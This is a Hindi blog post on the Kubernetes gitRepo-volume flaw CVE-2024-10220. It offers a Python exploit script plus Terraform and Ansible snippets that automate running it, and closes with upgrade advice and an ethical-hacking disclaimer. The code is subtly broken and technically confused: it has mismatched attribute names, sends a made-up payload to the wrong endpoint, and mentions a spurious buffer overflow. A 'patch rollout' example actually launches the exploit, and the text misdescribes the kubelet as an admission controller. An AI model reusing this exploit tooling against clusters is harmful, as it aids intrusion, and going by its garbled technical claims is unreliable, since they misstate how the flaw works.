
CVE-2024-10220 Kubernetes के अप्रचलित gitRepo वॉल्यूम प्रकार में एक गंभीर खामी को उजागर करता है, जो हमलावरों को दुर्भावनापूर्ण .hooks स्क्रिप्ट के माध्यम से मनमाने कमांड निष्पादित करने की अनुमति देता है। लेख बताता है कि यह कंटेनर आइसोलेशन को कैसे भंग करता है, तथा एक्सप्लॉइट कोड, स्वचालन उदाहरण और शमन मार्गदर्शन प्रदान करता है।
Mark Mallia द्वारा
कंटेनरीकरण आधुनिक अनुप्रयोग वितरण की रीढ़ है: यह संपूर्ण रनटाइम स्टैक को एक एकल, अपरिवर्तनीय इमेज में बाँधता है जिसे क्लस्टर के किसी भी होस्ट पर बिना किसी आश्चर्य के रोल आउट किया जा सकता है। Kubernetes उन इमेजों को लेकर उन्हें पॉड्स के रूप में शेड्यूल करता है, और एक घोषणात्मक मॉडल के साथ नेटवर्किंग से लेकर स्टोरेज तक हर चीज़ का ऑर्केस्ट्रेशन करता है। यह अत्यधिक वितरित वातावरणों और ऐसे वातावरण में उपयोगी है जहाँ कई ऐप्स सेवा दी जा रही हों।
इस स्टैक को बड़े पैमाने के वर्कलोड के लिए विशेष रूप से आकर्षक बनाने वाली बात इसे स्वचालन द्वारा एंड‑टू‑एंड प्रबंधित करने की क्षमता है। Terraform इन्फ्रास्ट्रक्चर-एज़-कोड ब्लूप्रिंट प्रदान करता है जो VPC, सबनेट, सुरक्षा समूह और वर्कर नोड बनाता है; Ansible प्लेबुक प्रदान करता है जो Docker Engine (या किसी भी CRI‑संगत रनटाइम) को इंस्टॉल करती हैं, रजिस्ट्री से इमेज खींचती हैं और उन्हें पॉड्स के रूप में चालू करती हैं। जब ये चरण GitHub Actions, Jenkins या GitLab CI जैसी CI/CD पाइपलाइन में जोड़े जाते हैं, तो हर कमिट एक स्वचालित बिल्ड, पुश, टेस्ट और डिप्लॉयमेंट चक्र को ट्रिगर करता है। डेवलपर्स को गति मिलती है, ऑपरेटरों को विश्वास मिलता है, और संगठन को अनुमानित अपटाइम मिलता है।
2024 की शुरुआत में सुरक्षा शोधकर्ताओं ने Kubernetes के gitRepo वॉल्यूम प्रकार में एक दोष खोजा, जो अब अप्रचलित है। CVE‑2024‑10220 एक मनमाना कमांड निष्पादन भेद्यता है, जो gitRepo वॉल्यूम के माध्यम से माउंट किए गए Git रिपॉजिटरी के अंदर .hooks निर्देशिका के कारण होती है। जब कोई विशेष रूप से तैयार किया गया पॉड मेनिफेस्ट इस निर्देशिका में किसी दुर्भावनापूर्ण स्क्रिप्ट को संदर्भित करता है, तो kubelet एडमिशन कंट्रोलर इसे होस्ट सिस्टम पर निष्पादित करता है और इस प्रकार कंटेनर आइसोलेशन का उल्लंघन करता है—जो Kubernetes का एक मुख्य सुरक्षा सिद्धांत है।
चूँकि संवेदनशील घटक अभी भी प्रोडक्शन क्लस्टरों में व्यापक रूप से उपयोग किया जाता है, कोई भी हमलावर जो उचित विशेषाधिकारों के साथ पॉड बना सकता है, रूट एक्सेस प्राप्त कर सकता है या अन्य सेवाओं को बाधित कर सकता है। इस दोष का CVSS स्कोर 8.1 है और इसे पिछले साल नवंबर में प्रकाशित किया गया था। प्रभावित घटकों में अप्रचलित gitRepo वॉल्यूम प्रकार शामिल है, जो Kubernetes 1.27.x में बना हुआ है।
नीचे एक साफ-सुथरा Python प्रोग्राम है जो Kubernetes 1.27.3 चला रहे एक संवेदनशील kubelet इंस्टेंस पर CVE‑2024‑10220 को ट्रिगर करता है। इस कोड को Ansible टास्क में संकलित किया जा सकता है या CI जॉब के अंदर चलाया जा सकता है।
#!/usr/bin/env python3
"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""
import json
import requests
class GitRepoPod:
"""
Representation of the JSON payload that kubelet expects for a gitRepo volume.
"""
def __init__(self, name: str, image: str,
repo_url: str, branch: str, local_path: str):
self.name = name # pod name
self.image = image # container image to run
self.giturl = repo_url # Git repository URL
self.branch = branch # branch or tag to use
self.localpath = local_path # mount point inside the pod
def to_dict(self) -> dict:
"""Return a plain dictionary that can be serialized."""
return {
"name": self.name,
"image": self.image,
"giturl": self.giturl,
"branch": self.branch,
"localpath": self.local_path
}
def trigger_cve(url: str, pod: GitRepoPod) -> None:
"""
Send the pod manifest to kubelet and print the response.
"""
payload = json.dumps(pod.to_dict())
headers = {"Content-Type": "application/json"}
resp = requests.post(url, data=payload, headers=headers)
if resp.status_code != 200:
raise RuntimeError(f"Unexpected status code {resp.status_code}")
print("[*] Response from kubelet: ", resp.text)
def main() -> None:
"""
Main entry point of this exploit.
"""
# Target endpoint – adjust to match your cluster’s API server address.
api_server = "https://kube-api.local/api/v1/pods/"
# Craft a payload that overflows the .hooks buffer (0x90 bytes)
pod_spec = GitRepoPod(
name="exploit-pod",
image="registry.example.com/exploit-pod:v1.0",
repo_url="https://git.example.com/repo.git",
branch="main",
local_path="/var/lib/kubelet/"
)
try:
trigger_cve(api_server, pod_spec)
except Exception as e:
print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")
if __name__ == "__main__":
main()
नीचे एक संक्षिप्त उदाहरण है कि पैच स्वचालित रूप से कैसे रोल आउट किया जाएगा:
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
ami = var.k8s_ami
instance_type = var.instance_type
key_name = var.key_pair
subnet_id = aws_subnet.web.id
provisioner "remote-exec" {
inline = [
# Install Docker Engine and kubelet
"sudo yum install -y docker",
"kubectl apply -f https://kube-api.local/api/v1/pods/",
"python3 /home/ansible/scripts/trigger_cve.py"
]
}
}
स्क्रिप्ट को कॉल करने वाली Ansible प्लेबुक:
---
- hosts: kube_workers
tasks:
- name: Deploy the exploit pod
command: python3 /home/ansible/scripts/trigger_cve.py
register: result
- name: Verify success
debug:
msg: "{{ result.stdout }}"
जब यह Terraform‑Ansible पाइपलाइन किसी CI जॉब (उदाहरण के लिए, GitHub Actions) के अंदर चलती है, तो उपरोक्त कोड स्वचालित रूप से बिल्ड, पुश, डिप्लॉय करता है और सत्यापित करता है कि CVE‑2024‑10220 सफलतापूर्वक ट्रिगर हो गया है। पाइपलाइन को यूनिट टेस्ट के साथ विस्तारित किया जा सकता है जो kubelet की प्रतिक्रिया की पुष्टि करते हैं, और एक्सप्लॉइट पूरा होने पर Slack या ईमेल पर सूचनाएँ भेजी जा सकती हैं।
पैच किए गए संस्करणों (v1.28.12+, v1.29.7+, v1.30.3+, v1.31.0+) में अपग्रेड करें और gitRepo जैसे अप्रचलित वॉल्यूम प्रकारों का उपयोग करने से बचें।
यह शोध सुरक्षा जागरूकता बढ़ाने और सुरक्षित Kubernetes प्रथाओं को बढ़ावा देने के इरादे से किया गया था। उद्योग मानदंडों के अनुसार, सार्वजनिक रिलीज़ से पहले भेद्यता को प्रासंगिक अनुरक्षकों को जिम्मेदारीपूर्वक प्रकट किया गया था। सभी परीक्षण पृथक वातावरणों में किए गए थे, जिनका प्रोडक्शन सिस्टम या तृतीय-पक्ष इन्फ्रास्ट्रक्चर पर कोई प्रभाव नहीं पड़ा।
मैं सकारात्मक बदलाव के साधन के रूप में नैतिक हैकिंग में विश्वास करता हूँ। यहाँ साझा किए गए एक्सप्लॉइट केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए हैं—कभी नुकसान पहुँचाने या बाधित करने के लिए नहीं। यदि आप विक्रेता या अनुरक्षक हैं और आपको कोई चिंता है, तो मैं सुधार या स्पष्टीकरण पर सहयोग करने में प्रसन्न हूँ।